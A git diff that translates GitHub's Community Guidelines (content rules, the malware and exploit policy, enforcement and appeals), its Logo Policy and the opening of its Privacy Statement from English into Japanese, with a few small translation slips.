+- #### わいせつなコンテンツ。 ポルノに該当するコンテンツは投稿しないでください。 これは、すべてのヌード、または性に関するすべてのコードやコンテンツが禁止されていることを意味するものではありません。 セクシュアリティは生活の一部であり、ポルノ以外の性的コンテンツがプロジェクトの一部になったり、教育的または芸術的な目的で提示され得るものであることを当社は認識しています。 ただし、わいせつな性的コンテンツや未成年者の搾取や性的関与を含むコンテンツは許可されません。
 
-- #### Gratuitously violent content
-   Don’t post violent images, text, or other content without reasonable context or warnings. While it's often okay to include violent content in video games, news reports, and descriptions of historical events, we do not allow violent content that is posted indiscriminately, or that is posted in a way that makes it difficult for other users to avoid (such as a profile avatar or an issue comment). A clear warning or disclaimer in other contexts helps users make an educated decision as to whether or not they want to engage with such content.
+- #### 脈絡のない暴力的コンテンツ。 合理的な文脈がない場合、また警告なしに暴力的な画像やテキストなどのコンテンツを投稿しないでください。 ビデオゲーム、ニュースレポート、過去の出来事の説明に暴力的なコンテンツを含めることは多くの場合問題ありませんが、無差別に投稿された暴力的コンテンツや、他のユーザにとって回避が困難な方法（例えば、プロフィールアバターや Issue のコメントとして）で投稿された暴力的コンテンツは許可されません。 他のコンテキスト内に明確な警告や断りがあれば、ユーザはそのようなコンテンツに関与したいかどうかについて知識に基づいて判断を下すことができるでしょう。
 
-- #### Misinformation and disinformation
-   You may not post content that presents a distorted view of reality, whether it is inaccurate or false (misinformation) or is intentionally deceptive (disinformation) where such content is likely to result in harm to the public or to interfere with fair and equal opportunities for all to participate in public life. For example, we do not allow content that may put the well-being of groups of people at risk or limit their ability to take part in a free and open society. We encourage active participation in the expression of ideas, perspectives, and experiences and may not be in a position to dispute personal accounts or observations. We generally allow parody and satire that is in line with our Acceptable Use Polices, and we consider context to be important in how information is received and understood; therefore, it may be appropriate to clarify your intentions via disclaimers or other means, as well as the source(s) of your information.
+- #### 誤情報および偽の情報。 公衆に害を及ぼしかねない、またはすべての人が公の生活に参加するための公正で平等な機会を阻害する可能性があるような、現実をゆがめた内容の投稿は、不正確や誤り (誤情報) であれ、意図的な嘘 (偽の情報) であれ行ってはなりません。 たとえば、人々の幸福を脅かしたり、自由で開かれた社会への参加を制限したりするコンテンツは許容できません。 当社はアイデア、視点、経験を表現することにおいて積極的な参加を促しており、個人アカウントや意見に反論するような立場にはないでしょう。 当社は一般的に、利用規定に沿ったパロディや風刺を許容します。また、情報がどのように受け止められ、理解されるかにおいては、文脈が重要だと考えています。ですから、お断りやその他の手段、および情報源を示すことにより、あなたの意図を明確にすることが適切な場合もあるでしょう。
 
-- #### Active malware or exploits
-  Being part of a community includes not taking advantage of other members of the community. We do not allow anyone to use our platform in direct support of unlawful attacks that cause technical harms, such as using GitHub as a means to deliver malicious executables or as attack infrastructure, for example by organizing denial of service attacks or managing command and control servers. Technical harms means overconsumption of resources, physical damage, downtime, denial of service, or data loss, with no implicit or explicit dual-use purpose prior to the abuse occurring.
+- #### アクティブなマルウェアやエクスプロイト。 コミュニティの一員になる以上、コミュニティの他のメンバーにつけ込むような行為を行ってはいけません。 悪意のある実行可能ファイルを配信する手段としてや、サービス拒否攻撃を組織したりコマンドアンドコントロールサーバーを管理したりといった攻撃インフラとして GitHub を使用するなど、当社のプラットフォームを使用して、技術的な危害を及ぼす非合法な攻撃を直接支援することは許可しません。 技術的な危害とは、悪用が生じる前に黙示的または明示的なデュアルユースの目的が存在しない、リソースの過剰な消費、物理的損傷、ダウンタイム、サービス拒否、データ損失のことを意味します。
 
-  Note that GitHub allows dual-use content and supports the posting of content that is used for research into vulnerabilities, malware, or exploits, as the publication and distribution of such content has educational value and provides a net benefit to the security community. We assume positive intention and use of these projects to promote and drive improvements across the ecosystem. 
+  ただし、GitHub はデュアルユースのコンテンツを許容し、脆弱性、マルウェア、またはエクスプロイトの研究に用いられるコンテンツの投稿を支持しています。こうしたコンテンツの公開や配布には教育的価値があり、セキュリティコミュニティに総合的に見て利益をもたらします。 当社はこうしたプロジェクトに肯定的な意図があり、エコシステム全体の促進と改善を促すために利用されることを想定しています。
 
-  In rare cases of very widespread abuse of dual-use content, we may restrict access to that specific instance of the content to disrupt an ongoing unlawful attack or malware campaign that is leveraging the GitHub platform as an exploit or malware CDN. In most of these instances, restriction takes the form of putting the content behind authentication, but may, as an option of last resort, involve disabling access or full removal where this is not possible (e.g. when posted as a gist). We will also contact the project owners about restrictions put in place where possible. 
+  デュアルユースのコンテンツが広範に乱用されている場合、当社は GitHub platform as an エクスプロイトやマルウェアの CDN として GitHub プラットフォームを活用している、現在進行中の非合法な攻撃やマルウェアキャンペーンを妨げるため、コンテンツの特定のインスタンスへの制限することが稀にあります。 ほとんどのインスタンスでは、コンテンツに認証を要求するという形で制限しますが、最後の手段として、アクセスの無効化や、それが不可能な場合 (Gist として投稿されている場合) はインスタンスの完全な削除を行う場合もあります。 また、可能な場合は導入した制限についてプロジェクトのオーナーに連絡します。
 
-  Restrictions are temporary where feasible, and do not serve the purpose of purging or restricting any specific dual-use content, or copies of that content, from the platform in perpetuity. While we aim to make these rare cases of restriction a collaborative process with project owners, if you do feel your content was unduly restricted, we have an [appeals process](#appeal-and-reinstatement) in place.
+  制限は可能な限り一時的なものとし、プラットフォームから特定のデュアルユースコンテンツやそのコピーを永久的に取り除いたり、制限したりする目的で行うものではありません。 こうした稀な制限を、当社はプロジェクトのオーナーとの共同作業とすることを目指していますが、コンテンツが過度に制限されていると感じる場合は、[異議申し立てプロセス](#appeal-and-reinstatement)をご用意しています。
 
-  To facilitate a path to abuse resolution with project maintainers themselves, prior to escalation to GitHub abuse reports, we recommend, but do not require, that repository owners take the following steps when posting potentially harmful security research content:
+  プロジェクトメンテナ自身による不正利用の解決を促進するため、GitHub に不正利用を報告する前に、リポジトリのオーナーが潜在的に有害なセキュリティ研究コンテンツを投稿する際に、リポジトリのオーナーが次のステップを実行するよう推奨します。(強制ではありません。)
 
-    * Clearly identify and describe any potentially harmful content in a disclaimer in the project’s README.md file or source code comments.
-    * Provide a preferred contact method for any 3rd party abuse inquiries through a SECURITY.md file in the repository (e.g. "Please create an issue on this repository for any questions or concerns"). Such a contact method allows 3rd parties to reach out to project maintainers directly and potentially resolve concerns without the need to file abuse reports.
+    * プロジェクトの README ファイルの免責事項やソースコードのコメントに、潜在的に有害なコンテンツを明示し説明する。
+    * リポジトリの SECURITY.md ファイルに、第三者が悪用について問い合わせる方法を記載する (例:「疑問や懸念事項については、このリポジトリに Issue を作成してください」)。 こうした連絡方法により、第三者はプロジェクトのメンテナに直接連絡でき、不正利用の報告を提出することなく問題を解決できる可能性があります。
 
-  *GitHub considers the npm registry to be a platform used primarily for installation and run-time use of code, and not for research.*
+  *GitHub は、npm レジストリについて、研究用ではなく主にコードのインストールと実行時に使用するプラットフォームとしています。*
 
 
-## What happens if someone breaks the rules?
+## 誰かがルールに違反した場合は
 
-There are a variety of actions that we may take when a user reports inappropriate behavior or content. It usually depends on the exact circumstances of a particular case. We recognize that sometimes people may say or do inappropriate things for any number of reasons. Perhaps they did not realize how their words would be perceived. Or maybe they just let their emotions get the best of them. Of course, sometimes, there are folks who just want to spam or cause trouble.
+ユーザから不適切な行動やコンテンツの報告があった場合に当社が講じる措置はさまざまです。 これは、事態の正確な状況次第で決まるのが普通です。 人はさまざまな理由で不適切な発言や行動をしてしまうことがあるというのが、当社の認識です。 自分の言葉がどのように受け取られるのかをわかっていなかったという場合もあるでしょう。 または、つい感情的になってしまったという場合もあるでしょう。 もちろん、単にスパムをばらまいたり、トラブルを引き起こすことを目的とする人がいることも事実です。
 
-Each case requires a different approach, and we try to tailor our response to meet the needs of the situation that has been reported. We'll review each abuse report on a case-by-case basis. In each case, we will have a diverse team investigate the content and surrounding facts and respond as appropriate, using these guidelines to guide our decision.
+ケースバイケースで異なるアプローチが必要なため、当社は報告を受けた状況に合った対応を行うように心がけています。 このため、不正行為に関する報告は個別に確認しています。 いずれの場合も、多様性に富んだチームがコンテンツとそれに関する事情を調査し、必要に応じて対応し、このガイドラインに基づいて決定を下します。
 
-Actions we may take in response to an abuse report include but are not limited to:
+不正行為の報告を受けた際に当社が講じる措置には以下が含まれますが、これらに限定されません。
 
-* Content Removal
-* Content Blocking
-* Account Suspension
-* Account Termination
+* コンテンツの削除
+* コンテンツのブロック
+* アカウントの一時停止
+* アカウントの解約
 
-## Appeal and Reinstatement
+## 意義申し立てと復帰
 
-In some cases there may be a basis to reverse an action, for example, based on additional information a user provided, or where a user has addressed the violation and agreed to abide by our Acceptable Use Policies moving forward. If you wish to appeal an enforcement action, please contact [support](https://support.github.com/contact?tags=docs-policy).
+たとえば、ユーザが提供する追加情報を理由として、あるいはユーザが違反に対応し、今後は利用規定に従うことに同意した場合など、措置を覆す理由が存在する場合もあります。 強制措置に意義を申し立てたい場合は、[サポート](https://support.github.com/contact?tags=docs-policy)にお問い合わせください。
 
-## Legal Notices
+## 法的通知
 
-We dedicate these Community Guidelines to the public domain for anyone to use, reuse, adapt, or whatever, under the terms of [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/).
+本コミュニティガイドラインは、[CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/) の条件に基づいて、誰でも使用、再利用、改作、その他あらゆることが可能になるようにパブリックドメインになっています。
 
-These are only guidelines; they do not modify our [Terms of Service](/articles/github-terms-of-service/) and are not intended to be a complete list. GitHub retains full discretion under the [Terms of Service](/articles/github-terms-of-service/#c-acceptable-use) to remove any content or terminate any accounts for activity that violates our Terms on Acceptable Use. These guidelines describe when we will exercise that discretion.
+これはあくまでもガイドラインであり、[利用規約](/articles/github-terms-of-service/)を変更するものや、完全なリストであることを意図したものではありません。 GitHub は、[利用規約](/articles/github-terms-of-service/#c-acceptable-use)に基づいて、利用規定に違反するコンテンツを削除するか、または利用規定に違反する活動のアカウントを解約することができる、完全な裁量を保持します。 本ガイドラインでは、かかる裁量を行使する場合について説明しています。
diff --git a/translations/ja-JP/content/github/site-policy/github-logo-policy.md b/translations/ja-JP/content/github/site-policy/github-logo-policy.md
index ec874245e8..5f0927b9d5 100644
--- a/translations/ja-JP/content/github/site-policy/github-logo-policy.md
+++ b/translations/ja-JP/content/github/site-policy/github-logo-policy.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Logo Policy
+title: GitHubロゴのポリシー
 redirect_from:
   - /articles/i-m-developing-a-third-party-github-app-what-do-i-need-to-know
   - /articles/using-an-octocat-to-link-to-github-or-your-github-profile
@@ -11,6 +11,6 @@ topics:
   - Legal
 ---
 
-You can add {% data variables.product.prodname_dotcom %} logos to your website or third-party application in some scenarios. For more information and specific guidelines on logo usage, see the [{% data variables.product.prodname_dotcom %} Logos and Usage page](https://github.com/logos).
+場合によっては、{% data variables.product.prodname_dotcom %} のロゴをあなたのウェブサイトまたはサードパーティアプリケーションに追加できます。 ロゴの使用に関する詳細と具体的なガイドラインについては、[{% data variables.product.prodname_dotcom %} のロゴと使い方のページ](https://github.com/logos)をご覧ください。
 
-You can also use an octocat as your personal avatar or on your website to link to your {% data variables.product.prodname_dotcom %} account, but not for your company or a product you're building. {% data variables.product.prodname_dotcom %} has an extensive collection of octocats in the [Octodex](https://octodex.github.com/). For more information on using the octocats from the Octodex, see the [Octodex FAQ](https://octodex.github.com/faq/).
+また、Octocat をあなたの個人的なアバターとして、またはあなたのウェブサイトで使用して、{% data variables.product.prodname_dotcom %} アカウントにリンクすることもできますが、あなたの会社やあなたが構築している製品に対して使用することはできません。 {% data variables.product.prodname_dotcom %} は、[Octodex](https://octodex.github.com/) にさまざまな Octocat を所有しています。 Octodex の Octocat を使用する際の詳細については、[Octodex FAQ](https://octodex.github.com/faq/) をご覧ください。
diff --git a/translations/ja-JP/content/github/site-policy/github-privacy-statement.md b/translations/ja-JP/content/github/site-policy/github-privacy-statement.md
index a9ce688a7e..a06c0b474d 100644
--- a/translations/ja-JP/content/github/site-policy/github-privacy-statement.md
+++ b/translations/ja-JP/content/github/site-policy/github-privacy-statement.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Privacy Statement
+title: GitHubのプライバシーについての声明
 redirect_from:
   - /privacy
   - /privacy-policy
@@ -14,329 +14,329 @@ topics:
   - Legal
 ---
 
-Effective date: December 19, 2020
+発効日：2020年12月20日
 
-Thanks for entrusting GitHub Inc. (“GitHub”, “we”) with your source code, your projects, and your personal information. Holding on to your private information is a serious responsibility, and we want you to know how we're handling it.
+お客様のソースコードやプロジェクト、個人情報について、GitHub Inc （以下、「GitHub」「当社」と称します）をご信頼いただき、ありがとうございます。 お客様の個人情報を保持することは重大な責務であり、当社がどのように取り扱っているのかを知っていただければと思います。
 
-All capitalized terms have their definition in [GitHub’s Terms of Service](/github/site-policy/github-terms-of-service), unless otherwise noted here.
+本文で注釈のない限り、すべての大文字の用語の定義は、[GitHub利用規約](/github/site-policy/github-terms-of-service)にあります。
 
 
-## The short version
+## ショートバージョン
 
-We use your personal information as this Privacy Statement describes. No matter where you are, where you live, or what your citizenship is, we provide the same high standard of privacy protection to all our users around the world, regardless of their country of origin or location.
+Githubではお客様の個人情報をプライバシーステートメントに記載のとおり使用します。 お客様の所在地や住所、どこの国の市民かに関係なく、出身国や所在地を問わず世界中のすべてのユーザーに対して等しく高水準のプライバシー保護を提供します。
 
-Of course, the short version and the Summary below don't tell you everything, so please read on for more details.
+もちろん、このショートバージョンと概要にすべてが記載されているわけではありません。詳細は読み進めてください。
 
-## Summary
+## 概要
 
-| Section | What can you find there? |
-|---|---|
-| [What information GitHub collects](#what-information-github-collects) | GitHub collects information directly from you for your registration, payment, transactions, and user profile. We also automatically collect from you your usage information, cookies, and device information, subject, where necessary, to your consent. GitHub may also collect User Personal Information from third parties. We only collect the minimum amount of personal information necessary from you, unless you choose to provide more. |
-| [What information GitHub does _not_ collect](#what-information-github-does-not-collect) | We don’t knowingly collect information from children under 13, and we don’t collect [Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/). |
-| [How GitHub uses your information](#how-github-uses-your-information) | In this section, we describe the ways in which we use your information, including to provide you the Service, to communicate with you, for security and compliance purposes, and to improve our Service. We also describe the legal basis upon which we process your information, where legally required. |
-| [How we share the information we collect](#how-we-share-the-information-we-collect) | We may share your information with third parties under one of the following circumstances: with your consent, with our service providers, for security purposes, to comply with our legal obligations, or when there is a change of control or sale of corporate entities or business units. We do not sell your personal information and we do not host advertising on GitHub. You can see a list of the service providers that access your information. |
-| [Other important information](#other-important-information) | We provide additional information specific to repository contents, public information, and Organizations on GitHub. |
-| [Additional services](#additional-services) | We provide information about additional service offerings, including third-party applications, GitHub Pages, and GitHub applications. |
-| [How you can access and control the information we collect](#how-you-can-access-and-control-the-information-we-collect) | We provide ways for you to access, alter, or delete your personal information. |
-| [Our use of cookies and tracking](#our-use-of-cookies-and-tracking) | We only use strictly necessary cookies to provide, secure and improve our service. We offer a page that makes this very transparent. Please see this section for more information. |
-| [How GitHub secures your information](#how-github-secures-your-information) | We take all measures reasonably necessary to protect the confidentiality, integrity, and availability of your personal information on GitHub and to protect the resilience of our servers. |
-| [GitHub's global privacy practices](#githubs-global-privacy-practices) | We provide the same high standard of privacy protection to all our users around the world. |
-| [How we communicate with you](#how-we-communicate-with-you) | We communicate with you by email. You can control the way we contact you in your account settings, or by contacting us. |
-| [Resolving complaints](#resolving-complaints) | In the unlikely event that we are unable to resolve a privacy concern quickly and thoroughly, we provide a path of dispute resolution. |
-| [Changes to our Privacy Statement](#changes-to-our-privacy-statement) | We notify you of material changes to this Privacy Statement 30 days before any such changes become effective. You may also track changes in our Site Policy repository. |
-| [License](#license) | This Privacy Statement is licensed under the [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). |
-| [Contacting GitHub](#contacting-github) | Please feel free to contact us if you have questions about our Privacy Statement. |
-| [Translations](#translations) | We provide links to some translations of the Privacy Statement. |
+| セクション                                                                                      | 各セクションの内容                                                                                                                                                                                                                                         |
+| ------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [GitHubが収集する情報](#what-information-github-collects)                                         | GitHubは、お客様の登録内容や支払い、取引、ユーザプロフィールから直接情報を収集します。 当社は、また、お客様の同意が必要な場合は同意を得て、自動的に利用情報、クッキー、およびデバイス情報から収集します。 GitHubは、さらに、サードパーティからユーザの個人情報を収集することがあります。 当社は、必要最小限の個人情報を収集します。ただし、お客様がそれ以上の情報を提供することを選択した場合は除きます。                                      |
+| [当社が_収集しない_情報](#what-information-github-does-not-collect)                                  | 当社は、13歳未満の子どもの情報は意図的に収集しません。また、[センシティブな個人情報](https://gdpr-info.eu/art-9-gdpr/)も収集しません。                                                                                                                                                            |
+| [当社のお客様情報の利用方法](#how-github-uses-your-information)                                         | このセクションでは、セキュリティおよび法令順守を目的として本サービスの提供を含めたお客様との連絡、および、当社のサービス向上のために、お客様の情報をどのように当社が使用するのかを説明します。 法令が要求している場合、さらに、お客様の情報を処理する法的な根拠を記載します。                                                                                                           |
+| [当社が収集したお客様の情報の共有方法](#how-we-share-the-information-we-collect)                             | 次のいずれかの場合において、当社はお客様の情報を第三者と共有することがあります。 ・お客様の同意がある場合 ・当社のサービスプロバイダ間と共有する場合 ・セキュリティを目的とする場合 ・当社の法的義務を遵守する必要がある場合 ・事業法人または事業部門について支配者の変更または売却が行われた場合 当社が個人情報を販売することはありません。GitHubでは広告を掲載することもありません。 お客様の個人情報にアクセスするサービスプロバイダのリストはお客様自身で確認することができます。 |
+| [その他の重要なお知らせ](#other-important-information)                                                | 当社は、Github上のリポジトリコンテンツや公開情報、Organizationに関して個別の追加情報を提供します。                                                                                                                                                                                        |
+| [追加サービス](#additional-services)                                                             | 当社は、サードパーティアプリケーションやGitHub Pages、GitHubアプリケーションを含む追加のサービス提供についての情報を提供します。                                                                                                                                                                         |
+| [当社が収集した情報についてお客様がアクセスし管理する方法](#how-you-can-access-and-control-the-information-we-collect) | 当社は、お客様に対して、お客様の個人情報にアクセス、変更または削除する方法を提供します。                                                                                                                                                                                                      |
+| [当社のクッキー及びトラッキングの使用について](#our-use-of-cookies-and-tracking)                                 | 当社は、サービスの提供、保護、向上のために不可欠なクッキーのみを使用します。 当社は、このクッキーとトラッキングについて透明性の高いページを提供します。 詳細は、本セクションをご覧ください。                                                                                                                                                   |
+| [お客様情報についての当社の保護方法](#how-github-secures-your-information)                                  | 当社では、GitHub上のお客様の個人情報の秘密性、統合性及び可用性を保護するために合理的なすべての必要な措置を講ずるとともに、サーバーのレジリエンスを保護します。                                                                                                                                                                |
+| [GitHubのグローバルプライバシープラクティス](#githubs-global-privacy-practices)                              | 当社では世界中の当社のユーザ全員に対して、等しく高水準のプライバシー保護を提供します。                                                                                                                                                                                                       |
+| [当社とお客様との連絡方法](#how-we-communicate-with-you)                                               | 当社は、お客様にemailでご連絡します。 アカウント設定または当社にご連絡いただければ、当社からお客様への方法を管理できます。                                                                                                                                                                                  |
+| [苦情の解決](#resolving-complaints)                                                             | 万が一、当社がプライバシーに関する懸念を迅速かつ十分に解決できない場合、当社は紛争解決の方法を提案します。                                                                                                                                                                                             |
+| [プライバシーステートメントの変更](#changes-to-our-privacy-statement)                                      | 当社は、本プライバシーステートメントの重大な変更について当該変更が有効となる30日前に、お客様に通知します。 お客様は、変更を当社のサイトポリシーリポジトリにおいて確認することもできます。                                                                                                                                                    |
+| [ライセンス](#license)                                                                          | 本プライバシーステートメントは、[Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/)の元でライセンス付与されています。                                                                                                                              |
+| [GitHubへの連絡](#contacting-github)                                                           | 当社のプライバシーステートメントに関するご質問がある場合はお気軽にお問い合わせください。                                                                                                                                                                                                      |
+| [翻訳](#translations)                                                                        | 当社では、一部のプライバシーステートメントの翻訳のリンクを提供しています。                                                                                                                                                                                                             |
 
-## GitHub Privacy Statement
+## GitHubのプライバシーについての声明
 
-## What information GitHub collects
+## GitHubが収集する情報
 
-"**User Personal Information**" is any information about one of our Users which could, alone or together with other information, personally identify them or otherwise be reasonably linked or connected with them. Information such as a username and password, an email address, a real name, an Internet protocol (IP) address, and a photograph are examples of “User Personal Information.”
+「**ユーザ個人情報**」とは、当社のユーザの誰か１人に関する何らかの情報であり、単独またはほかの情報と合わせることでユーザを個人として識別できる、または、ユーザと合理的に結びつける、もしくは、関連づけることができるものとします。 「ユーザ個人情報」は、たとえば、ユーザ名やパスワード、メールアドレス、本名、IPアドレスや画像です。
 
-User Personal Information does not include aggregated, non-personally identifying information that does not identify a User or cannot otherwise be reasonably linked or connected with them. We may use such aggregated, non-personally identifying information for research purposes and to operate, analyze, improve, and optimize our Website and Service.
+ユーザ個人情報には、集合的で、個人的でない識別情報は含まないものとし、ユーザを特定できない、または、ユーザと合理的に結び付けられない、もしくは、関連づけられないものは含みません。 当社は、かかる集合的で個人的でない識別情報を、調査ならびに当社のウェブサイトおよびサービスの運営や分析、最適化を目的として使用することがあります。
 
-### Information users provide directly to GitHub
+### ユーザがGitHubに直接提供する情報
 
-#### Registration information
-We require some basic information at the time of account creation. When you create your own username and password, we ask you for a valid email address.
+#### 登録情報
+当社は、アカウント作成時に基本情報を要求しています。 当社は、お客様がユーザ名とパスワードを生成する時に有効なメールアドレスを要求します。
 
-#### Payment information
-If you sign on to a paid Account with us, send funds through the GitHub Sponsors Program, or buy an application on GitHub Marketplace, we collect your full name, address, and credit card information or PayPal information. Please note, GitHub does not process or store your credit card information or PayPal information, but our third-party payment processor does.
+#### 支払情報
+有料でのアカウントにサインオンする場合や、GitHub Sponsors Programを通じて送金する場合、GitHub Marketplaceでアプリケーションを購入する場合、当社は、お客様のフルネーム、住所およびクレジットカード情報またはPayPal情報を収集します。 GitHubは、お客様のクレジットカード情報またはPaypal情報を処理または保管しませんが、第三者の支払処理者はこれを行うことにご留意ください。
 
-If you list and sell an application on [GitHub Marketplace](https://github.com/marketplace), we require your banking information. If you raise funds through the [GitHub Sponsors Program](https://github.com/sponsors), we require some [additional information](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account#submitting-your-bank-information) through the registration process for you to participate in and receive funds through those services and for compliance purposes.
+[GitHub Marketplace](https://github.com/marketplace) にアプリケーションを掲載しこれを販売する場合、当社は、お客様の銀行情報を要求します。 [GitHub Sponsors Program](https://github.com/sponsors)を通じて資金を調達する場合、当社は、利用者がサービスに参加して資金を受け取るため、および法令順守のため、登録処理を通じて利用者の[追加情報](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account#submitting-your-bank-information) を要求します。
 
-#### Profile information
-You may choose to give us more information for your Account profile, such as your full name, an avatar which may include a photograph, your biography, your location, your company, and a URL to a third-party website. This information may include User Personal Information. Please note that your profile information may be visible to other Users of our Service.
+#### プロフィール情報
+お客様は、フルネーム、写真を含むアバター、経歴、位置情報、会社、第三者のウェブサイトへのURLなどのお客様のアカウントプロフィールの追加情報を当社に提供するかどうかを選択できます。 この情報には、ユーザの個人情報が含まれる可能性があります。 プロフィール情報は、当社のサービスを使用する他のユーザからも閲覧ができますのでご注意ください。
 
-### Information GitHub automatically collects from your use of the Service
+### サービスを使用することによってGitHubが収集する情報
 
-#### Transactional information
-If you have a paid Account with us, sell an application listed on [GitHub Marketplace](https://github.com/marketplace), or raise funds through the [GitHub Sponsors Program](https://github.com/sponsors), we automatically collect certain information about your transactions on the Service, such as the date, time, and amount charged.
+#### トランザクション情報
+有料でのアカウントを持っている場合、[GitHub Marketplace](https://github.com/marketplace)に掲載したアプリケーションを販売した場合、または、[GitHub Sponsors Program](https://github.com/sponsors)を通じて資金を調達した場合、当社は、日付、時間や請求金額など、本サービス上でのお客様のトランザクションについての一定の情報を自動的に収集します。
 
-#### Usage information
-If you're accessing our Service or Website, we automatically collect the same basic information that most services collect, subject, where necessary, to your consent. This includes information about how you use the Service, such as the pages you view, the referring site, your IP address and session information, and the date and time of each request. This is information we collect from every visitor to the Website, whether they have an Account or not. This information may include User Personal information.
+#### 利用情報
+お客様が当社のサービスまたはウェブサイトにアクセスしている場合、当社は、ほとんどのサービスが収集する情報を、お客様の同意が必要な場合はその同意を得て、自動的に収集します。 この収集する情報は、閲覧しているページ、参照したページ、IPアドレスおよびセッション情報ならびに。それぞれのリクエストの日付および時間などのお客様のサービス利用方法を含みます。 この情報は、アカウントを保有しているかどうかに関わらず、ウェブサイトのすべての訪問者から収集しています。 この情報には、ユーザ個人情報を含む可能性があります。
 
-#### Cookies
-As further described below, we automatically collect information from cookies (such as cookie ID and settings) to keep you logged in, to remember your preferences, to identify you and your device and to analyze your use of our service.
+#### クッキー
+下記で詳述する通り、お客様のログインの保持、設定の記憶、お客様およびお客様のデバイスの識別、ならびにお客様による当社サービスの利用の解析のため、当社はクッキーから自動的に情報 (クッキー ID や設定など) を収集します。
 
-#### Device information
-We may collect certain information about your device, such as its IP address, browser or client application information, language preference, operating system and application version, device type and ID, and device model and manufacturer. This information may include User Personal information.
+#### デバイス情報
+当社は、IPアドレス、ブラウザまたはクライアントアプリケーション情報、言語設定、オペレーティングシステムとアプリケーションバージョン、デバイスの種類とID、デバイスのモデルとメーカーなど、お客様のデバイスについての一定の情報を収集することがあります。 この情報には、ユーザ個人情報を含む可能性があります。
 
-### Information we collect from third parties
+### 当社から第三者から収集する情報
 
-GitHub may collect User Personal Information from third parties. For example, this may happen if you sign up for training or to receive information about GitHub from one of our vendors, partners, or affiliates. GitHub does not purchase User Personal Information from third-party data brokers.
+GitHubは、第三者からユーザの個人情報を収集することがあります。 たとえば、お客様が、トレーニングにサインアップしたり、当社のベンダー、パートナーや関連会社からGitHubについての情報を受け取る場合に、行われる可能性があります。 GitHubは、第三者からのデータブローカーからユーザ個人情報を購入することはありません。
 
-## What information GitHub does not collect
+## 当社が収集しない情報
 
-We do not intentionally collect “**[Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/)**”, such as personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, or trade union membership, and the processing of genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health or data concerning a natural person’s sex life or sexual orientation. If you choose to store any Sensitive Personal Information on our servers, you are responsible for complying with any regulatory controls regarding that data.
+当社は、 「**[センシティブな個人情報](https://gdpr-info.eu/art-9-gdpr/)**」を意図的に収集することはありません。 この情報には、人種または民族的出自、政治上の意見、宗教的または哲学的な信念、あるいは労働組合への加入、自然人を一意に識別する遺伝子データまたはバイオメトリックデータの処理、健康状態に関するデータ、または、性生活や性的指向に関するデータを含みます。 当社のサーバー上でセンシティブな個人情報を保管することを選択した場合、お客様は、当該データに関する一切の規制に従う責任を負うものとします。
 
-If you are a child under the age of 13, you may not have an Account on GitHub. GitHub does not knowingly collect information from or direct any of our content specifically to children under 13. If we learn or have reason to suspect that you are a User who is under the age of 13, we will have to close your Account. We don't want to discourage you from learning to code, but those are the rules. Please see our [Terms of Service](/github/site-policy/github-terms-of-service) for information about Account termination. Different countries may have different minimum age limits, and if you are below the minimum age for providing consent for data collection in your country, you may not have an Account on GitHub.
+お客様が13歳未満のこどもの場合、GitHub上でアカウントを保有することはできません。 GitHubは、13歳以下のこどもから意図的に情報を収集せず、および、13歳以下のこどもを対象としたコンテンツを提供しません。 当社がお客様が13歳未満であることを知った場合、または、そうだと疑う理由がある場合、当社はお客様のアカウントを閉鎖しなければなりません。 当社はお客様がコードを学習することを止めたくはありませんが、これらは規則なのです。 アカウント解除についての情報は、[「利用規約」](/github/site-policy/github-terms-of-service)を参照してください。 様々な国は異なる年齢制限を設けており、お客様がお客様の国でデータ収集に同意できる年齢未満である場合、GitHub上のアカウントを保有することはできません。
 
-We do not intentionally collect User Personal Information that is **stored in your repositories** or other free-form content inputs. Any personal information within a user's repository is the responsibility of the repository owner.
+当社は、**お客様のリポジトリ**に保管されたユーザ個人情報またはその他の何らかのフォームに入力した内容について、意図的に収集することはありません。 ユーザリポジトリ内の個人情報の一切については、リポジトリのオーナーがその責を負うものとします。
 
-## How GitHub uses your information
+## 当社のお客様情報の利用方法
 
-We may use your information for the following purposes:
-- We use your [Registration Information](#registration-information) to create your account, and to provide you the Service.
-- We use your [Payment Information](#payment-information) to provide you with the Paid Account service, the Marketplace service, the Sponsors Program, or any other GitHub paid service you request.
-- We use your User Personal Information, specifically your username, to identify you on GitHub.
-- We use your [Profile Information](#profile-information) to fill out your Account profile and to share that profile with other users if you ask us to.
-- We use your email address to communicate with you, if you've said that's okay, **and only for the reasons you’ve said that’s okay**. Please see our section on [email communication](#how-we-communicate-with-you) for more information.
-- We use User Personal Information to respond to support requests.
-- We use User Personal Information and other data to make recommendations for you, such as to suggest projects you may want to follow or contribute to. We learn from your public behavior on GitHub—such as the projects you star—to determine your coding interests, and we recommend similar projects. These recommendations are automated decisions, but they have no legal impact on your rights.
-- We may use User Personal Information to invite you to take part in surveys, beta programs, or other research projects, subject, where necessary, to your consent .
-- We use [Usage Information](#usage-information) and [Device Information](#device-information) to better understand how our Users use GitHub and to improve our Website and Service.
-- We may use your User Personal Information if it is necessary for security purposes or to investigate possible fraud or attempts to harm GitHub or our Users.
-- We may use your User Personal Information to comply with our legal obligations, protect our intellectual property, and enforce our [Terms of Service](/github/site-policy/github-terms-of-service).
-- We limit our use of your User Personal Information to the purposes listed in this Privacy Statement. If we need to use your User Personal Information for other purposes, we will ask your permission first. You can always see what information we have, how we're using it, and what permissions you have given us in your [user profile](https://github.com/settings/admin).
+当社は、次の目的のためにお客様の情報を共有することがあります：
+- 当社は、アカウントを作成するため、および、サービスを提供するために、お客様の [登録情報](#registration-information)を利用します。
+- 当社は、有料アカウントサービス、Marketplaceサービス、Sponsors Programまたはその他のお客様が希望するGitHubの有料サービスを提供するために、お客様の[支払い情報](#payment-information) を利用します。
+- 当社は、ユーザ個人情報（特にユーザ名）をGitHub上でお客様を識別するために利用します。
